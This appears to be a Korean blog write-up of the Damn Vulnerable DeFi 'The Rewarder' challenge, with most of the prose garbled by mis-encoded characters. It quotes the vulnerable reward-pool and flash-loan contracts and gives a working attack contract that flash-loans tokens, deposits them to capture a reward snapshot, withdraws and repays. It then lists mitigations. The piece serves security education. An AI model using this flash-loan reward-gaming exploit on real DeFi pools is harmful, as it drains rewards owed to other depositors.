π‘Damn Vulnerable DeFiλ?
λ§ κ·Έλλ‘ μμ² μ·¨μ½ν DeFiλ λ» μ λλ€. μμ±λμ΄ μλ 컨νΈλνΈλ₯Ό λ³΄κ³ μ·¨μ½μ μ λΆμν λ€ κ³΅κ²©μ μν 컨νΈλνΈλ ν μ€νΈ μ½λλ₯Ό μμ±ν΄ μνλ κ²°κ³Όλ₯Ό λμΆνλ μΌμ’ μ μκ²μ μ λλ€.
The Rewarderλ μ¬μ©μλ€μ΄ μ λμ± νμ μ λμ±μ λΆμ¬νλ©΄ accounting Tokenμ μ§κΈνκ³ νΉμ μ£ΌκΈ°λ§λ€ μ¬μ©μλ€μ΄ μμ νκ³ μλ accounting Tokenλ§νΌ rewardλ₯Ό μ§κΈνλ 컨νΈλνΈλ€ μ λλ€.
μ λμ± ν: μ λμ± νμ νμ€μν κ±°λμ λ° DEXμ ν΅μ¬ κ°λ μ λλ€. μ λμ± μ 곡μ(LP)λΌ νλ μ΄λ€μ νμ λμΌν κ°μΉλ₯Ό κ°λ λ κ°μ§ ν ν°μ μΆκ°νκ³ μμ₯μ μμ±ν©λλ€. μμ μ μκΈμ μ 곡νλ λκ°λ‘, μ¬μ©μλ μμ μ νμμ λ°μνλ κ±°λ μμλ£λ₯Ό μ 체 μ λμ± λ΄ μμ μ μ§λΆμ λ°λΌ λΆλ°°λ°μ΅λλ€.
νμ§λ§ μ΄ μ»¨νΈλνΈμμλ λμΌν λ κ°μ§ ν ν°μ μΆκ°νλ κ²μ΄ μλ κ·Έλ₯ νκ°μ§ ν ν°μ μ λμ± νμ μμΉνλ λ°©μμ λλ€.
expect(await rewarderPool.roundNumber()).to.be.eq(3);
// Users should get neglegible rewards this round
for (let i = 0; i < users.length; i++) {
await rewarderPool.connect(users[i]).distributeRewards();
const userRewards = await rewardToken.balanceOf(users[i].address);
const delta = userRewards.sub(
(await rewarderPool.REWARDS()).div(users.length)
);
expect(delta).to.be.lt(10n ** 16n);
}
// Rewards must have been issued to the player account
expect(await rewardToken.totalSupply()).to.be.gt(
await rewarderPool.REWARDS()
);
const playerRewards = await rewardToken.balanceOf(player.address);
expect(playerRewards).to.be.gt(0);
// The amount of rewards earned should be close to total available amount
const delta = (await rewarderPool.REWARDS()).sub(playerRewards);
expect(delta).to.be.lt(10n ** 17n);
// Balance of DVT tokens in player and lending pool hasn't changed
expect(await liquidityToken.balanceOf(player.address)).to.eq(0);
expect(await liquidityToken.balanceOf(flashLoanPool.address)).to.eq(
TOKENS_IN_LENDER_POOL
);
});
μμ½νλ©΄ νλ μ΄μ΄λ 보μ λΌμ΄λλ₯Ό μ§ννλ©° 보μμ λ°κ³ λμΆμ ν΅ν΄ μ λμ± ν ν°μ μ§μ νμ·¨ν΄μλ μλ©λλ€. κ·Έλ¦¬κ³ λ€λ₯Έ μ¬λλ€μ 보μμ κ°λ‘μ±μλ μλ©λλ€.
μ ν¬κ° μμΈν μ΄ν΄λ΄μΌν 컨νΈλνΈλ λ°λ‘ μ΄ λ³΄μμ μ§κΈν΄μ£Όλ ν μ λλ€.
보μμ μ§κΈν΄μ£Όλ λΆλΆμ λλ€.
function distributeRewards() public returns (uint256 rewards) {
if (isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}
보μμ μ§κΈνκΈ° μν΄ νλ μ μ°¨λ€μ΄ μμ΅λλ€.
μ λμ± νμ μ λμ±μ 곡κΈνλ λΆλΆμ λλ€.
function deposit(uint256 amount) external {
if (amount == 0) {
revert InvalidDepositAmount();
}
accountingToken.mint(msg.sender, amount);
distributeRewards();
SafeTransferLib.safeTransferFrom(
liquidityToken,
msg.sender,
address(this),
amount
);
}
μ΄ λΆλΆμμ μ΄μν λΆλΆμ΄ μμ΅λλ€.
λ°λ‘ accountTokenμ μ§κΈν λ€ λ°λ‘ 보μμ ν΄μ£Όλ λΆλΆ μ
λλ€. μ΄λ κ² λλ€λ©΄ μ λμ± νμ μΌμ κΈ°κ° λμ λ¬Άμ΄λλ κ²μ΄ μλλΌ μ¬μ©μλ 보μμ λ°κ³ λ°λ‘ λΊ μλ μκ²λ©λλ€.
λ¬Όλ‘ λ€μ 보μμ λ°κΈ° μν΄μλ 5μΌμ κΈ°λ€λ €μΌνμ§λ§ λ§μ½ 2λ²μ§Έ 보μμ κ΄μ¬μ΄ μκ³ λ³΄μλ§ λ°κ³ λ°λ‘ λΉ μ§λ€λ©΄ νμλ μΆ©λΆν κΈ°κ°λμ μ λμ±μ΄ 곡κΈλμ§ μμμ± λ³΄μλ§ κ³μν΄μ λκ° μλ μκ² λ©λλ€.
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
if (amount > balanceBefore) {
revert NotEnoughTokenBalance();
}
if (!msg.sender.isContract()) {
revert CallerIsNotContract();
}
liquidityToken.transfer(msg.sender, amount);
msg.sender.functionCall(
abi.encodeWithSignature("receiveFlashLoan(uint256)", amount)
);
if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
revert FlashLoanNotPaidBack();
}
}
λμΆμ μ€ννκΈ° μν΄ νλ κ²μ¬λ λ€μκ³Ό κ°μ΅λλ€.
μ΄λ κ² 3κ°μ§ μ λμ κ²μ¬λ₯Ό νκ³ μ¬μ©μκ° μ§μ receiveFlashLoanμ ꡬνν΄ μ΄μ΅μ μ·¨νκ³ λμΆκΈμ μννλ λ°©μμ λλ€.
κ·Έλ λ€λ©΄ μμμ λΆμν λ΄μ©μ κ°μ§κ³ ν μ€νΈ μ½λμ μ νμλ λͺ©ν λ¬μ±μ ν΄λ³΄κ² μ΅λλ€.
μ μ°¨λ μ΄λ μ΅λλ€.
FlashLoan μ€ν -> λ°μ λμΆκΈμ RewardPoolμ μμΉ -> 보μ μλ Ή -> μΆκΈ -> λμΆκΈ μν -> μ¬μ©μμκ² μ°¨μ‘ μ μ‘
μ΄λ κ² λμκ°λ 컨νΈλνΈλ₯Ό μ§κ³ FlashLoanμ μ€ννκ² λλ©΄ μ¬μ©μλ μμ μ μμ°μ μ°μ§ μκ³ λ³΄μλ§ μ»μ μ μκ² λ©λλ€. μ¬μ©μκ° μμ΅μ μ»κΈ° λλ¬Έμ λκ΅°κ°λ λΆλͺ μν΄λ₯Ό λ³Έλ€λ μ΄μΌκΈ°μ κ°μ΅λλ€.
function attack(uint256 amount) external {
flashLoanPool.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external {
liquidityToken.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);
rewarderPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanPool), amount);
rewarderPool.rewardToken().transfer(
owner,
rewarderPool.rewardToken().balanceOf(address(this))
);
}
μ΄ λ κΈ°λ₯μ΄ μλ 곡격 컨νΈλνΈ μμ± ν μ€ννκ² λλ©΄ μ¬μ©μλ 곡격μ μ±κ³΅νκ² λ©λλ€.
λͺ¨λ RewardPoolμ deposit λΆλΆμ κ΄λ ¨λ μ·¨μ½μ μ λλ€.
보μ μ‘°μ κ°λ₯μ± (Gaming the system)
deposit ν¨μλ μ λμ±μ μ 곡νλ μκ° λ³΄μ λΆλ°° λ©μ»€λμ¦μ μ΄λ°μν€λλ°, μ΄λ μ λμ± μ 곡μκ° μμ μ 보μμ μΈμμ μΌλ‘ μ¦κ°μν¬ κΈ°νλ₯Ό λ§λ€ μ μμ΅λλ€. μ¬μ©μλ 보μμ΄ λΆλ°°λκΈ° μ§μ μ ν° μ‘μλ₯Ό μ
κΈνμ¬ μμ μ μ§λΆμ μΈμμ μΌλ‘ λμΌ μ μκ³ , κ·Έ ν 보μμ΄ λΆλ°°λλ©΄ μ¦μ μκΈμ μΈμΆν μλ μμ΅λλ€. μ΄λ° μμΌλ‘, μ λμ± νμ λν μ€μ μ₯κΈ°μ μΈ κΈ°μ¬ μμ΄λ λμ 보μμ μ»μ μ μμ΅λλ€.
λΉλ²ν μ€λ
μ·κ³Ό 보μ νΈλ¦¬κ±°
맀 μ
κΈ μλ§λ€ 보μ λΆλ°° λ‘μ§μ΄ μ€νλλ©΄μ μμ£Ό μ€λ
μ·μ΄ κΈ°λ‘λκ³ λ³΄μμ΄ κ³μ°λμ΄μΌ ν©λλ€. μ΄λ λΈλ‘μ²΄μΈ λ€νΈμν¬ μμμ λΆνμν νΈλμμ
κ³Ό κ°μ€ λΉμ©μ λ°μμν¬ μ μμΌλ©°, νΉν λ§μ μ
κΈμ΄ μ΄λ£¨μ΄μ§ λ λ€νΈμν¬ λΆνλ₯Ό μ¦κ°μν¬ μ μμ΅λλ€.
보μμ 곡μ μ± λ¬Έμ
μ λμ± νμ μ μ λμλ§ ν° κΈμ‘μ΄ λ€μ΄μ μμλ€κ° λΉ λ₯΄κ² μΈμΆλλ κ²½μ°, μ€μ λ‘λ νμ μ€λ μκ° λμ κΈ°μ¬ν λ€λ₯Έ μ¬μ©μλ€μ λΉν΄ λΆκ³΅ννκ² λμ 보μμ λ°μ μ μμ΅λλ€. μ΄λ μμ€ν
μ 곡μ μ±μ μ ν΄νκ³ , μ₯κΈ° ν¬μμλ€μκ² λΆμ΄μ΅μ μ€ μ μμ΅λλ€.
보μ λΆλ°° μ£ΌκΈ° μ€μ : 보μ λΆλ°°λ₯Ό μΌμ μ£ΌκΈ°λ‘ μ ννκ±°λ, 보μ κΈ°κ°μ΄ μ’ λ£λ νμλ§ λ³΄μμ λΆλ°°νλλ‘ μ€μ νμ¬, κ° λ³΄μ κΈ°κ° λμμ νκ· κΈ°μ¬λλ₯Ό κΈ°λ°μΌλ‘ 보μμ κ³μ°ν μ μμ΅λλ€.
λ½μ κΈ°κ° λμ : μ λμ± μ 곡 ν μΌμ κΈ°κ° λμμ μΈμΆμ ν μ μλλ‘ νμ¬, λ¨κΈ°κ°μ ν° μ‘μλ₯Ό μ κΈνλ€κ° λΉ λ₯΄κ² μΈμΆνλ νμλ₯Ό λ°©μ§ν μ μμ΅λλ€.